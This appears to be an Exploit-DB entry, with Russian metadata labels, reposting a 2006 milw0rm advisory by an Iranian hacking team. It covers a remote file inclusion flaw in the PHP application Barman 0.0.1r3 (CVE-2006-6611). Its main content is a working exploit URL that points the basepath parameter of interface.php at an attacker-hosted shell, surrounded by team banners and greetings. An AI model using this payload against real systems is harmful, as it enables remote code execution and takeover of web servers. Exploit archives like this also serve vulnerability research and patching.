Exploit Barman 0.0.1r3 - 'Interface.php' Remote File Inclusion

[Exploiter]

EDB-ID

2920

Проверка EDB

1. Пройдено

Автор

DELTAHACKINGTEAM

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-6611

Дата публикации

2006-12-11

**********************************************************************************************************
                                              DeltasecurityTEAM
                                              WwW.Deltasecurity.iR
**********************************************************************************************************

* Portal Name = Barman 0.0.1r3

* Class = Remote File Inclusion

* Risk = High (Remote File Execution)

* Download = http://downloads.sourceforge.net/barman/Barman-0.0.1r3.tgz

* Discoverd By = DeltahackingTEAM

* User In Delta Team = Davood_Cracker

* Conatact = [email protected]

* 128 Bit Security Server= www.takserver.ir

* Just Delta Hacking Security TEAM *
--------------------------------------------------------------------------------------------

- Exploit:


http://localhost/[PATH]/interface.php?basepath=http://evilsite.com/shell?


--------------------------------------------------------------------------------------------

Gr33tz : Dr.Trojan , Hiv++ , D_7j , Vpc

SP TNX : Dr.Pantagon

**********************************************************************************************************

# milw0rm.com [2006-12-11]